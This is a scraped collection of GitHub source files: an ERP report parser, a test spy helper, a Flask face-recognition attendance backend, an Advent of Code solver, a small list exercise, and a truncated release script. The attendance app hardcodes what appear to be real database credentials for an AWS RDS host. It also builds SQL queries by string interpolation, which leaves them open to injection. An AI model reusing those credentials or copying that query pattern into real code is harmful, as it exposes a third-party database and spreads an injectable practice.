null) or (to_char(so.date_done,'YYYY-MM-DD') > substring(%s,1,10))) \\\n                and ((so.date_cancel is null) or (to_char(so.date_cancel,'YYYY-MM-DD') > substring(%s,1,10))) \\\n                and ((sol.date_knock_off is null or sol.knock_off=false) or (to_char(sol.date_knock_off,'YYYY-MM-DD') > substring(%s,1,10))) \\\n                and so.goods_type = %s \\\n                and so.sale_type=%s \"\n        \n        if sheet == 'customer':\n            sorder =    \" order by coalesce(slprod2.alias,slprod2.name,''),coalesce(mbc.name,''), \\\n                        case when coalesce(mbc.count,0.0)>0 then cast(mbc.count as text) else '' end,mbc.sd_type, \\\n                        coalesce(rp.partner_alias,rp.name), \\\n                        case when coalesce(sol.est_delivery_date::date,so.max_est_delivery_date::date)!=dump_lc.schd_date then dump_lc.schd_date end, \\\n                        coalesce(sol.est_delivery_date,so.max_est_delivery_date), \\\n                        to_char(so.date_order,'YYYY-MM-DD'), \\\n                        cast(coalesce(sol.sequence_line_1,'0') as int),coalesce(sol.sequence_line,so.name) \" \n        elif sheet == 'product':\n            sorder =    \" order by coalesce(slprod2.alias,slprod2.name,''),coalesce(mbc.name,''),  \\\n                        case when coalesce(pp.count,0.0)>0 then cast(pp.count as text) else '' end,pp.sd_type, \\\n                        case when coalesce(sol.est_delivery_date::date,so.max_est_delivery_date::date)!=dump_lc.schd_date then dump_lc.schd_date end, \\\n                        coalesce(sol.est_delivery_date,so.max_est_delivery_date),  \\\n                        to_char(so.date_order,'YYYY-MM-DD'),  \\\n                        cast(coalesce(sol.sequence_line_1,'0') as int),coalesce(sol.sequence_line,so.name), \\\n                        coalesce(rp.partner_alias,rp.name) \"\n        elif sheet == 'contract':\n            sorder =    \" order by coalesce(slprod2.alias,slprod2.name,''),to_char(so.date_order,'YYYY-MM-DD'), \\\n                        cast(coalesce(sol.sequence_line_1,'0') as int),coalesce(sol.sequence_line,so.name), \\\n                        coalesce(mbc.name,''), \\\n                        case when coalesce(pp.count,0.0)>0 then cast(pp.count as text) else '' end,pp.sd_type, \\\n                        case when coalesce(sol.est_delivery_date::date,so.max_est_delivery_date::date)!=dump_lc.schd_date then dump_lc.schd_date end, \\\n                        coalesce(sol.est_delivery_date,so.max_est_delivery_date),coalesce(rp.partner_alias,rp.name) \"\n\n        if data['form']['sale_type'] == 'export':\n            s += \" \" + sorder \n            self.cr.execute (s, \n                            (\n                            data['form']['as_on'],\n                            data['form']['goods_type'],\n                            data['form']['sale_type'],\n                            data['form']['as_on'],\n                            data['form']['goods_type'],\n                            data['form']['sale_type'],\n                            data['form']['as_on'],\n                            data['form']['goods_type'],\n                            data['form']['sale_type'],\n                            data['form']['as_on'],\n                            data['form']['as_on'],\n                            data['form']['as_on'],\n                            data['form']['as_on'],\n                            data['form']['as_on'],\n                            data['form']['goods_type'],\n                            data['form']['sale_type'],\n                            ))\n        elif data['form']['sale_type'] == 'local':\n            s += \" and so.locale_sale_type like %s\" \n            s += \" \" + sorder \n            self.cr.execute (s, \n                            (\n                            data['form']['as_on'],\n                            data['form']['goods_type'],\n                            data['form']['sale_type'],\n                            data['form']['as_on'],\n                            data['form']['goods_type'],\n                            data['form']['sale_type'],\n                            data['form']['as_on'],\n                            data['form']['goods_type'],\n                            data['form']['sale_type'],\n                            data['form']['as_on'],\n                            data['form']['as_on'],\n                            data['form']['as_on'],\n                            data['form']['as_on'],\n                            data['form']['as_on'],\n                            data['form']['goods_type'],\n                            data['form']['sale_type'],\n                            data['form']['locale_sale_type'],))\n        \n        res = self.cr.dictfetchall()\n        return res\n\nreport_sxw.report_sxw('report.production.planning.report', 'report.production.planning.wizard', 'addons/ad_sales_report/report/production_planning_report.mako', parser=production_planning_parser,header=False) \n","repo_name":"hendrasaputra0501/btxjalan","sub_path":"ad_sales_report/report/production_planning_report_parser.py","file_name":"production_planning_report_parser.py","file_ext":"py","file_size_in_byte":23854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"10731266397","text":"from contextlib import contextmanager\nfrom types import ModuleType\nfrom unittest import mock\n\n\n@contextmanager\ndef spy(module: ModuleType, name: str) -> mock.Mock:\n    target = getattr(module, name)\n    mocked = mock.Mock(wraps=target)\n    setattr(module, name, mocked)\n\n    yield mocked\n\n    setattr(module, name, target)\n","repo_name":"fedecalendino/nintendeals","sub_path":"tests/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":124,"dataset":"github-code","pt":"37"}
+{"seq_id":"34286689712","text":"import os\nfrom os import listdir\nfrom PIL import Image as Img\nfrom numpy import asarray\nfrom numpy import expand_dims\nfrom matplotlib import pyplot\nimport numpy as np\nimport pickle\nimport cv2\nimport base64\nfrom keras_facenet import FaceNet\nimport openpyxl\nfrom pytz import timezone\nimport pandas as pd\nimport datetime\nfrom IPython.display import display, Javascript\nfrom base64 import b64decode\nfrom IPython.display import Image\n# from Main import findFaces\nfrom flask import Flask, request\nfrom flask_cors import CORS\nimport mysql.connector\nimport json\nfrom pytz import timezone\nimport pandas as pd\nimport datetime\nimport mysql.connector\nimport time\nimport logging\n# from database import students\n\nport_no = 5000\napp = Flask(__name__)\nCORS(app, origins=['http://localhost:3000'])\n\n\n@app.route('/')\ndef hello():\n    return 'Hello, World!'\n\n\n@app.route('/api/upload-image', methods=['POST'])\ndef process_image():\n    try:\n        file = request.files['file']\n        # Process the image file here\n        filename = file.filename\n        file.save(os.path.join('uploads', filename))\n        id_lec = finalCall(filename)\n        data = fetchAttendance(id_lec)\n        os.remove(os.path.join('uploads', filename))\n        return {'data': data}\n    except Exception as e:\n        logging.error(f\"Error processing image: {e}\")\n        return {'error': 'Image processing failed.'}\n\n\nMyFaceNet = FaceNet()\nHaarCascade = cv2.CascadeClassifier(cv2.samples.findFile(\n    cv2.data.haarcascades + 'haarcascade_frontalface_default.xml'))\n\ndatabase = {}\nfolder = 'Students2/Images/'\nstudents = []\n\n\nfor filename in listdir(folder):\n    path = folder + filename\n    gbr1 = cv2.imread(path)\n    if(gbr1 is not None):\n        students.append(filename.split(\".\")[0])\n\n    if gbr1 is None:\n        print(f\"Error reading image {filename}\")\n        continue\n\n    wajah = HaarCascade.detectMultiScale(gbr1, 1.1, 4)\n    if len(wajah) == 0:\n        print(f\"No face detected in image {filename}\")\n        continue\n\n    x1, y1, width, height = wajah[0]\n    x1, y1 = abs(x1), abs(y1)\n    x2, y2 = x1 + width, y1 + height\n\n    gbr = cv2.cvtColor(gbr1, cv2.COLOR_BGR2RGB)\n    gbr = Img.fromarray(gbr)\n    gbr_array = np.array(gbr)\n\n    face = gbr_array[y1:y2, x1:x2]\n    face = Img.fromarray(face)\n    face = face.resize((160, 160))\n    face = np.array(face)\n\n    face = np.expand_dims(face, axis=0)\n    signature = MyFaceNet.embeddings(face)\n\n    database[os.path.splitext(filename)[0]] = signature\n\n\nmyfile = open(\"data.pkl\", \"wb\")\npickle.dump(database, myfile)\nmyfile.close()\n\nmyfile = open(\"data.pkl\", \"rb\")\ndatabase = pickle.load(myfile)\nmyfile.close()\n\n# print(database)\n\n\ndef js_to_image(js_reply):\n    image_bytes = b64decode(js_reply.split(',')[1])\n    jpg_as_np = np.frombuffer(image_bytes, dtype=np.uint8)\n    img = cv2.imdecode(jpg_as_np, flags=1)\n    return img\n\n\ndef fetchAttendance(lecId):\n    connection = mysql.connector.connect(\n        host='attendance-system.cepf8h0tkttq.ap-south-1.rds.amazonaws.com',\n        database='attendanceSystem',\n        user='admin',\n        password='studentdata2023'\n    )\n\n# Execute the SQL query\n    cursor = connection.cursor()\n    x = lecId\n    cur_date = str(datetime.date.today().strftime('%Y-%m-%d'))\n    print(cur_date)\n    print(x)\n\n    query = f'''SELECT s.ID, s.student_name, a.attend_status \\\n    FROM Lectures l \\\n    JOIN Attendance a ON l.ID = a.LectureID \\\n    JOIN Students s ON a.StudentID = s.ID \\\n    WHERE l.ID = {x} \\\n    AND l.lect_date = '{cur_date}';'''\n\n    cursor.execute(query)\n\n    results = []\n    for row in cursor.fetchall():\n        results.append(\n            {'id': row[0], 'student_name': row[1], 'attend_status': row[2]})\n    json_data = json.dumps(results)\n\n    print(json_data)\n    return json_data\n\n\ndef rds(students, present_list):\n    day_of_week = datetime.datetime.today().strftime('%A')\n    # current_time = datetime.datetime.now().time()\n    current_time = datetime.datetime.now(timezone(\"Asia/Kolkata\")).time()\n    print(current_time)\n\n    # Read timetable from CSV file\n    timetable = pd.read_csv('timetableTest.csv')\n    current_subject = None\n\n    # Determine the current subject based on the day of the week and time\n    schedule = timetable.loc[timetable['Day'] == day_of_week]\n    print(schedule)\n    for i, row in schedule.iterrows():\n        start_time = datetime.datetime.strptime(\n            row['Timing'].split(' - ')[0], '%I:%M %p').time()\n        end_time = datetime.datetime.strptime(\n            row['Timing'].split(' - ')[1], '%I:%M %p').time()\n        if start_time <= current_time <= end_time:\n            current_subject = row['Subject']\n            break\n\n    if current_subject is None:\n        print('No class is currently in session.')\n        return\n\n    # Connect to MySQL database\n    try:\n        connection = mysql.connector.connect(host='attendance-system.cepf8h0tkttq.ap-south-1.rds.amazonaws.com',\n                                             database='attendanceSystem',\n                                             user='admin',\n                                             password='studentdata2023')\n        cursor = connection.cursor()\n\n        # Get subject ID from Subjects table\n        cursor.execute(\n            f\"SELECT ID FROM Subjects WHERE subject_name = '{current_subject}'\")\n        print(current_subject)\n        subject_id = cursor.fetchone()[0]\n\n        # Insert lecture into Lectures table\n        current_date = datetime.date.today().strftime('%Y-%m-%d')\n        cursor.execute(\n            f\"INSERT INTO Lectures (SubjectID, lect_date, lect_time) VALUES ({subject_id}, '{current_date}', '{current_time}')\")\n        lecture_id = cursor.lastrowid\n        print(\"Lecture_Id\", lecture_id)\n        # Insert attendance data into Attendance table\n        for student in students:\n            if student == 'unknown':\n                continue\n            else:\n                present = 1 if student in present_list else 0\n                absent = 1 - present\n            cursor.execute(\n                f\"SELECT ID FROM Students WHERE student_name = '{student}'\")\n            print(student)\n            student_id = cursor.fetchone()[0]\n            print(student_id)\n            cursor.execute(\n                f\"INSERT INTO Attendance (LectureID, StudentID, attend_status) VALUES ({lecture_id}, '{student_id}', '{'present' if present else 'absent'}')\")\n\n        connection.commit()\n        print(\"Attendance data saved to database.\")\n\n    except mysql.connector.Error as error:\n        print(f\"Error while connecting to MySQL: {error}\")\n\n    finally:\n        if (connection.is_connected()):\n            cursor.close()\n            connection.close()\n            print(\"MySQL connection closed.\")\n    return lecture_id\n\n\ndef findFaces(data, threshold=1):\n    gbr1 = js_to_image(data)\n    gbr = cv2.cvtColor(gbr1, cv2.COLOR_BGR2RGB)\n    gbr = Img.fromarray(gbr)\n    gbr_array = asarray(gbr)\n\n    wajah = HaarCascade.detectMultiScale(gbr1, 1.1, 4)\n    present_Students = []\n    accuracies = []\n    for (x1, y1, w, h) in wajah:\n        x1, y1 = abs(x1), abs(y1)\n        x2, y2 = x1 + w, y1 + h\n\n        face = gbr_array[y1:y2, x1:x2]\n\n        face = Img.fromarray(face)\n        face = face.resize((160, 160))\n        face = asarray(face)\n\n        face = expand_dims(face, axis=0)\n        signature = MyFaceNet.embeddings(face)\n\n        min_dist = 100\n        identity = 'unknown'\n        for key, value in database.items():\n            dist = np.linalg.norm(value - signature)\n            if dist < min_dist:\n                min_dist = dist\n                identity = key\n            if min_dist > threshold:\n                identity = 'unknown'\n\n        accuracy = (threshold - min_dist) / threshold\n        accuracies.append(accuracy)\n\n        present_Students.append(identity)\n\n        cv2.putText(gbr1, identity, (x1, y1), cv2.FONT_HERSHEY_SIMPLEX,\n                    0.5, (255, 255, 0), 1, cv2.LINE_AA)\n        cv2.rectangle(gbr1, (x1, y1), (x2, y2), (0, 255, 0), 2)\n\n    filename = 'photo.jpg'\n    cv2.imwrite(filename, gbr1)\n    print(present_Students)\n    id = rds(students, present_Students)\n\n    return id\n\n\ndef findFacesFromLocalFile(file_path):\n    with open(file_path, \"rb\") as image_file:\n        encoded_string = base64.b64encode(image_file.read()).decode(\"utf-8\")\n    data = \"data:image/jpeg;base64,\" + encoded_string\n    return findFaces(data, threshold=1)\n\n\n####Main Code######\ndef take_photo(file):\n    filename = findFacesFromLocalFile(f\"uploads/{file}\")\n    return filename\n##################\n\n\ndef finalCall(file):\n    try:\n        lecture_id = take_photo(file)\n\n        display(Image(filename))\n        return lecture_id\n    except Exception as err:\n        print(str(err))\n\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"AVADHOOT888/GA11_Final_Year_Project_Automated_Attendance_Monitoring_System_Using_Face_Recognition","sub_path":"Backend_Model/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35284494257","text":"'''\n@author: BastienZim\n\n'''\n\nimport os\nimport numpy as np\nimport itertools\n\npath = \"/home/bastienzim/Documents/perso/adventOfCode/2022\"\n#path = \"/home/bastien/Documents/AdventOfCode/2022\"\n\n\nexample = True\n\n\ndef main():\n    day = str(os.path.basename(__file__).split(\".\")[0][3:])\n    if(example):\n        with open(path+\"/day\"+day+\"/example_in.txt\") as f:\n            input = f.readlines()\n    else:\n        with open(path+\"/day\"+day+\"/input.txt\") as f:\n            input = f.readlines()\n\n    valves, flow, connections = sanitize_input(input)\n    map = {v: c for v, c in zip(valves, connections)}\n    # drop valves that have no flow)()\n    distances, _ = Dijkstra(valves[0], valves[1], map)\n#    print(distances)\n\n    good_valves = [v for v, f in zip(valves, flow) if f > 0]\n    # forget bad valves\n    flow = {v: f for v, f in zip(valves, flow) if v in good_valves}\n\n    distances, _ = Dijkstra(valves[0], valves[1], map)\n    # INIT STATE\n    # if(valves[0] not in good_valves):\n    #    first_valve = good_valves[np.argmin(\n    #        [distances[g] for g in good_valves])]\n    #    init_time = 30 - min([distances[g] for g in good_valves])\n    #    print(f\"First valve is {first_valve}, starting time: {init_time} minutes\")\n    # else:\n    first_valve = valves[0]\n    init_time = 29\n    init_total_flow = 0\n\n    # DROP useless stuff\n    good_distances = {v: {} for v in good_valves}\n    good_distances[first_valve] = {}\n    for i, v1 in enumerate(good_valves):\n        good_distances[first_valve][v1] = distances[v1]\n        good_distances[v1][first_valve] = distances[v1]\n        good_distances[v1][v1] = 0\n        for v2 in good_valves[i+1:]:\n            distances, _ = Dijkstra(v1, v2, map)\n            #if(distances[v2]>10):\n            #    print(\"OMEGA BIG\",distances[v2],v1, v2)\n            good_distances[v1][v2] = distances[v2]\n            good_distances[v2][v1] = distances[v2]\n\n    closed_valves = good_valves.copy()\n\n    \n\n\n\n\n    # print(greedy(current_valve, closed_valves,\n    #      init_total_flow, time, flow, good_distances))\n\n    #best_order = [\"DD\",\"BB\",\"JJ\",\"HH\",\"EE\",\"CC\"]\n    #total_flow = run_order(best_order, first_valve, closed_valves, init_total_flow, init_time, flow, good_distances)\n\n    #print(f\"            FINAL RESULT ==> {total_flow} ==> best {best_order}\")\n\n    #Try everything...\n\n\n#    current_best, best_perm = try_all_permuts(first_valve, closed_valves, init_total_flow, init_time, flow, good_distances)\n#    print(current_best, best_perm)\n    \n    '''    order, total_flow = all_try(first_valve, good_valves,\n                            init_total_flow, init_time, flow, good_distances)\n        \n        print(f\"First RESULT ==> {total_flow} ==> order {order}\")\n        current_best = total_flow\n        for i in range(len(order)):\n            for j in range(i+1,len(order)):\n                swap_order = order.copy()\n                swap_order[i],swap_order[j] = swap_order[j],swap_order[i]\n                #print(i,j)\n                total_flow = run_order(swap_order, first_valve, closed_valves, init_total_flow, init_time, flow, good_distances)\n                if(total_flow>current_best):\n                    current_best = total_flow\n                    print(\"==>\",total_flow,swap_order)\n                if(total_flow == 1651):\n                    print(\"HERE\")\n                print(f\"            FINAL RESULT ==> {total_flow} ==> order {swap_order}\")\n    '''\n\n    print(good_distances)\n    Dijkstra_adapt(\"AA\", good_distances)\n\n\ndef try_all_permuts(first_valve, closed_valves, init_total_flow, init_time, flow, good_distances):\n    \"\"\"Too costly.\"\"\"\n\n    current_best = 0\n    for perm in (itertools.permutations(closed_valves)):\n        total_flow = run_order(perm, first_valve, closed_valves, init_total_flow, init_time, flow, good_distances)\n        if(total_flow>current_best):\n                current_best = total_flow\n                best_perm = perm\n                print(total_flow,perm)\n    print(f\"            FINAL RESULT ==> {current_best} ==> order {best_perm}\")\n    return(current_best, best_perm)\n\ndef run_order(order, current_valve, closed_valves, total_flow, time, flow, good_distances):\n    i_chosen = 0\n    while(time >= 0):\n        #print(f\" Time: {30-time},current_v {current_valve}, releasing {sum([flow[v] for v in flow.keys() if v not in closed_valves])} pressure\")\n        #print(f\" total flow = {total_flow}\")\n        if(len(closed_valves) > 0):\n            #print(len(order), i_chosen)\n            chosen = order[i_chosen]\n            i_chosen += 1\n            if(i_chosen>len(order)):\n                time = -1\n                break\n            #print(f\"Chosen: {chosen}\")\n            current_valve, time, total_flow, closed_valves = update(\n                chosen, current_valve, closed_valves, total_flow, time, flow, good_distances)\n        else:\n            time = -1\n    #print(\"\\n            FINAL RESULT ==>  \", total_flow, \"J\")\n    return total_flow\n\n\ndef all_try(current_valve, closed_valves, total_flow, time, flow, good_distances):\n    order = []\n    while(time >= 0):\n        if(len(closed_valves) > 0):\n            candidates = get_candidates_f_d_gain(\n                current_valve, closed_valves, time, flow, good_distances)\n            if(len(candidates)==0):\n                time =-1\n                break\n            filter_candidate(candidates, current_valve, closed_valves,\n                             total_flow, time, flow, good_distances)\n            chosen = candidates[0][0]\n            order.append(chosen)\n            current_valve, time, total_flow, closed_valves = update(\n                chosen, current_valve, closed_valves, total_flow, time, flow, good_distances)\n        else:\n            time = -1\n        #print(f\"t:{30-time}, flow = {total_flow}, node= {current_valve}\")\n    #print(f\"\\n            FINAL RESULT ==> {total_flow} ==> order {order}\")\n    return order, total_flow\n\n\ndef filter_candidate(candidates, current_valve, closed_valves, total_flow, time, flow, good_distances):\n    \"\"\" each candidate : v, f, d, flow_added \"\"\"\n    #print(candidates,len(candidates))\n    if(len(candidates)<=1):\n        return(candidates)\n    filt_cand = sorted(candidates.copy(), key=lambda x: x[2])\n    # for the same distance remove the less beneficial one\n    for i, c1 in enumerate(filt_cand):\n        for c2 in filt_cand[i+1:]:\n            if(c1[2] == c2[2]):\n                if(c1[3] < c2[3]):\n                    filt_cand.remove(c1)\n                    break\n                else:\n                    filt_cand.remove(c2)\n    max_pot = 0\n    best_cand = filt_cand[0]\n    for c in filt_cand:\n        new_valve, new_time, new_total_flow, new_closed_valves = update(\n            c[0], current_valve, closed_valves, total_flow, time, flow, good_distances)\n        potential_candidates = get_candidates_f_d_gain(\n            new_valve, new_closed_valves, new_time, flow, good_distances)\n        if(len(potential_candidates) > 0):\n            node_potential = c[3] + max([x[3] for x in potential_candidates])\n        else:\n            node_potential = c[3]\n        if(node_potential > max_pot):\n            max_pot = node_potential\n            best_cand = c\n\n    return([best_cand])\n\ndef update(choice, current_valve, closed_valves, total_flow, time, flow, good_distances):\n    #print(f\"  UPDATE | time: {30-time}, opening: {choice}\")\n\n    closed_upd = closed_valves.copy()\n    # print(good_distances[\"AA\"],good_distances[\"DD\"])\n    time_upd = time - (good_distances[choice][current_valve] + 1)\n    #print(f\"  ---Activating choice: {choice}, flow: {flow[choice]}; Time:{30-time_upd} -> remaining {time_upd} min\")\n    total_flow_upd = total_flow + (time_upd+1) * flow[choice]\n    closed_upd.remove(choice)\n\n    #print(f\"  aft UPDATE | time: {30-time_upd} d+1={good_distances[choice][current_valve] + 1}, from: {total_flow_upd}\")\n    return(choice, time_upd, total_flow_upd, closed_upd)\n\n\ndef get_candidates_f_d_gain(current_valve, closed_valves, time, flow, good_distances):\n    candidates = []\n    for v in closed_valves:\n        f = flow[v]\n        if(v != current_valve):\n            d = good_distances[current_valve][v]\n        else:\n            d = 0\n        if(time-d-1>0):\n            candidates.append((v, f, d, (time-d-1)*f))\n\n    return candidates\n# def get_potential_flow(start, candidate, distances):\n\n\ndef eventual_press_release(t, f):\n    return(t*f)\n\n\ndef Dijkstra(start, end, map):\n    # [(i,j) for i in range(0,map_shape[0]) for j in range(0,map_shape[1])]\n    nodes = map.keys()\n    unvisited = {node: None for node in nodes}\n    parents = {}\n    distances = {}\n    node = start\n    current_distance = 0\n    while(True):\n        neighbours = map[node]  # (node, map, map_shape)\n        # for dist neighbor in neighbours\n        for dist, n in zip([1 for x in neighbours], neighbours):\n            if(n not in unvisited):\n                continue\n            new_Distance = dist + current_distance\n            if(unvisited[n] is None or new_Distance < unvisited[n]):\n                unvisited[n] = new_Distance\n                parents[n] = node\n\n        distances[node] = current_distance\n        del unvisited[node]\n        if not unvisited:\n            break\n        candidates = [node for node in unvisited.items() if node[1]]\n        node, current_distance = sorted(candidates, key=lambda x: x[1])[0]\n    return(distances, parents)\n\n\ndef greedy(current_valve, closed_valves, total_flow, time, flow, good_distances):\n    while(time >= 0):\n        if(len(closed_valves) > 0):\n            candidates = get_candidates_f_d_gain(\n                current_valve, closed_valves, time, flow, good_distances)\n            chosen = max(candidates, key=lambda x: x[3])[0]\n            current_valve, time, total_flow, closed_valves = update(\n                chosen, current_valve, closed_valves, total_flow, time, flow, good_distances)\n    #\n        else:\n            time = -1\n        #print(f\"t:{30-time}, flow = {total_flow}, node= {current_valve}\")\n    return total_flow\n\n\ndef sanitize_input(input):\n    #alternative: [int(x.replace(\"\\n\",\"\")) for x in input]\n    input = list(map(lambda x: x.replace(\"\\n\", \"\"), input))\n    valves, flow, connections = [], [], []\n    for x in input:\n        elts = x[6:].split(\" has flow rate=\")\n        name, elts = elts[0], elts[1]\n        elts = elts.split(\"; \")\n        rate, elts = elts[0], elts[1]\n        for x in [\"tunnel leads to valve \", \"tunnels lead to valves \"]:\n            if(x in elts):\n                elts = elts.replace(x, \"\")\n        connect = elts.split(\", \")\n        valves.append(name)\n        flow.append(int(rate))\n        connections.append(connect)\n    return valves, flow, connections\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"BastienZim/AdventOfCode","sub_path":"2022/day16/day16.py","file_name":"day16.py","file_ext":"py","file_size_in_byte":10702,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"40918787938","text":"lst = []\nwhile True:\n    try:\n        n = int(input('Nhập số lượng các phần tử (n>=2): '))\n    except ValueError:\n        print('Không hợp lệ!')\n        continue\n    if n>= 2:\n        break\n    else:\n        print('Số phần tử phải lớn hơn 2 !!!')\n        continue\n\ndef xu_ly_lst(n):\n    for i in range(n):\n        lst.append(float(input(f'Nhập phần tử {i}: ')))\n    print('List vừa nhập là: ',lst)\n\n    lst.sort(reverse=True)\n    print('Hai phần tử lớn nhất list vừa nhập là: ',lst[0], 'và' , lst[1])\n\nxu_ly_lst(n)\n\n\n","repo_name":"VuLong160396/Day16","sub_path":"tim_2_so_max.py","file_name":"tim_2_so_max.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26216950642","text":"import argparse\nimport configparser\nimport datetime\nimport io\nimport re\nimport zoneinfo\n\nimport tomlkit\n\nfrom utils import *\n\n\ndef ensure_branch(branch):\n    # GH checkout action doesn't fetch all branches unless you force it, in which case main seems to be omitted.\n    # So we fetch the branch from origin, but only if we're not already on it (which would cause the fetch to fail).\n    if get_current_branch() != branch:\n        run_command(f\"Fetching branch {branch}\", f\"git fetch origin {branch}:{branch}\")\n\n\ndef initialize(args):\n    log(f\"*** INITIALIZING CHANNEL FROM UPSTREAM ***\")\n    if args.channel not in (\"nightly\", \"beta\", \"stable\"):\n        raise Exception(f\"Unknown channel {args.channel}\")\n    if args.sync:\n        channel_to_upstream = {\"nightly\": \"main\", \"beta\": \"nightly\", \"stable\": \"beta\"}\n        upstream = channel_to_upstream[args.channel] if args.upstream is None else args.upstream\n        ensure_branch(upstream)\n        log(f\"Syncing {args.channel} <= {upstream}\")\n        if args.preserve:\n            # We're preserving channel history, so we need to do a merge.\n            # git doesn't have a \"theirs\" merge strategy, so we have to simulate it.\n            # Technique from https://stackoverflow.com/a/4912267\n            run_command(f\"Creating temporary branch based on upstream\", f\"git switch -c tmp {upstream}\")\n            run_command(f\"Merging channel (keeping all upstream)\", f\"git merge -s ours {args.channel}\")\n            run_command(f\"Switching to channel\", f\"git switch {args.channel}\")\n            run_command(f\"Merging temporary branch\", f\"git merge tmp\")\n            run_command(f\"Deleting temporary branch\", f\"git branch -D tmp\")\n        else:\n            # We're not preserving channel history, so we can just reset the branch.\n            run_command(f\"Resetting channel to upstream\", f\"git switch -C {args.channel} {upstream}\")\n    else:\n        ensure_branch(args.channel)\n        run_command(f\"Switching to channel\", f\"git switch {args.channel}\")\n\n\ndef date(args):\n    log(f\"*** GENERATING RELEASE DATE ***\")\n    if args.time_zone is not None:\n        tz = zoneinfo.ZoneInfo(args.time_zone)\n        date = datetime.datetime.now(tz).date()\n    else:\n        date = datetime.date.today()\n    print(date.isoformat())\n\n\ndef infer_counter(version, date, args):\n    if args.counter:\n        return args.counter\n    if version.prerelease is None:\n        return 1\n    match = re.match(fr\"^{args.channel}\\.(\\d+)\\.(\\d+)\", version.prerelease)\n    if match is None:\n        return 1\n    version_date = match.group(1)\n    version_counter = match.group(2)\n    if not version_date == date.strftime('%Y%m%d'):\n        return 1\n    return int(version_counter) + 1\n\n\ndef update_file(path, load, munge, dump, binary=False):\n    log(f\"Updating {path}\")\n    b = \"b\" if binary else \"\"\n    with open(path, f\"r{b}\") as f:\n        data = load(f)\n    new_data = munge(data)\n    with open(path, f\"w{b}\") as f:\n        dump(new_data, f)\n\n\ndef update_version(version):\n    log(f\"Updating version references to {version}\")\n    python_version = get_python_version(version)\n\n    # Main version file\n    with open(\"VERSION\", \"w\") as f:\n        print(version, file=f)\n\n    # cargo versions\n    # cargo doesn't like build metadata in dependency references, so we strip that for those.\n    stripped_version = version.replace(build=None)\n    def munge_cargo_root(toml):\n        toml[\"workspace\"][\"package\"][\"version\"] = str(version)\n        toml[\"dependencies\"][\"opendp_derive\"][\"version\"] = str(stripped_version)\n        toml[\"dependencies\"][\"opendp_tooling\"][\"version\"] = str(stripped_version)\n        toml[\"build-dependencies\"][\"opendp_tooling\"][\"version\"] = str(stripped_version)\n        return toml\n    update_file(\"rust/Cargo.toml\", tomlkit.load, munge_cargo_root, tomlkit.dump)\n    def munge_cargo_opendp_derive(toml):\n        toml[\"dependencies\"][\"opendp_tooling\"][\"version\"] = str(stripped_version)\n        return toml\n    update_file(\"rust/opendp_derive/Cargo.toml\", tomlkit.load, munge_cargo_opendp_derive, tomlkit.dump)\n\n    # Python config\n    def load_python_config(f):\n        config = configparser.RawConfigParser()\n        config.read_file(f)\n        return config\n    def munge_python_config(config):\n        config.set(\"metadata\", \"version\", str(python_version))\n        return config\n    def dump_python_config(config, f):\n        config.write(f)\n    update_file(\"python/setup.cfg\", load_python_config, munge_python_config, dump_python_config)\n\n    # Binder requirements\n    def munge_binder_requirements(lines):\n        opendp_line = f\"opendp=={python_version}\\n\"\n        return [opendp_line if line.startswith(\"opendp==\") else line for line in lines]\n    update_file(\".binder/requirements.txt\", io.IOBase.readlines, munge_binder_requirements, lambda data, f: f.writelines(data))\n\n\ndef configure(args):\n    log(f\"*** CONFIGURING CHANNEL ***\")\n    if args.channel not in (\"dev\", \"nightly\", \"beta\", \"stable\"):\n        raise Exception(f\"Unknown channel {args.channel}\")\n    version = get_version()\n    if args.channel == \"dev\":\n        # dev has a bare tag\n        version = version.replace(prerelease=\"dev\", build=None)\n    elif args.channel in (\"nightly\", \"beta\"):\n        # nightly/beta have a tag with the date and a counter\n        date = args.date or datetime.date.today()\n        counter = infer_counter(version, date, args)\n        prerelease = f\"{args.channel}.{date.strftime('%Y%m%d')}.{counter}\"\n        version = version.replace(prerelease=prerelease, build=None)\n    elif args.channel == \"stable\":\n        # stable has no tag\n        version = version.finalize_version()\n    update_version(version)\n\n\ndef first_match(lines, pattern):\n    matcher = re.compile(pattern)\n    for i, line in enumerate(lines):\n        match = matcher.match(line)\n        if match is not None:\n            return i, match\n    raise Exception(\"Didn't match pattern in CHANGELOG\")\n\n\ndef changelog(args):\n    log(f\"*** UPDATING CHANGELOG ***\")\n    version = get_version()\n    channel = infer_channel(version)\n    date = args.date or datetime.date.today()\n\n    log(f\"Reading CHANGELOG\")\n    with open(\"CHANGELOG.md\") as f:\n        lines = f.readlines()\n    url_base = \"https://github.com/opendp/opendp/compare/\"\n    i, match = first_match(lines, fr\"^## \\[(\\d+\\.\\d+\\.\\d+(?:-\\S+)?)\\]\\({re.escape(url_base)}(\\S+)\\.\\.\\.\\S+\\) - \\S+$\")\n    heading_version = semver.Version.parse(match.group(1))\n    diff_source = match.group(2)\n\n    if args.prepend:\n        if channel != \"dev\":\n            raise Exception(\"Can only prepend on dev channel\")\n        # Check that the VERSION file has been bumped above the existing heading version.\n        if version.finalize_version() <= heading_version.finalize_version():\n            raise Exception(f\"Prepending new heading, but VERSION {version} hasn't been bumped above heading version {heading_version}\")\n        new_heading_version = heading_version.finalize_version()\n        diff_target = f\"v{heading_version.finalize_version()}\"\n    else:\n        # Check that the VERSION file matches the existing heading version.\n        if version.finalize_version() != heading_version.finalize_version():\n            raise Exception(f\"VERSION {version} isn't compatible with heading version {heading_version}\")\n        new_heading_version = version\n        diff_target = f\"v{version}\" if channel == \"stable\" else (channel if channel != \"dev\" else \"HEAD\")\n        if channel == \"dev\":\n            date = \"TBD\"\n\n    log(f\"Updating heading to {new_heading_version}, {diff_source}...{diff_target}, {date}\")\n    lines[i] = f\"## [{new_heading_version}]({url_base}{diff_source}...{diff_target}) - {date}\\n\"\n    if args.prepend:\n        # Prepend a new heading for the current version.\n        diff_source = diff_target\n        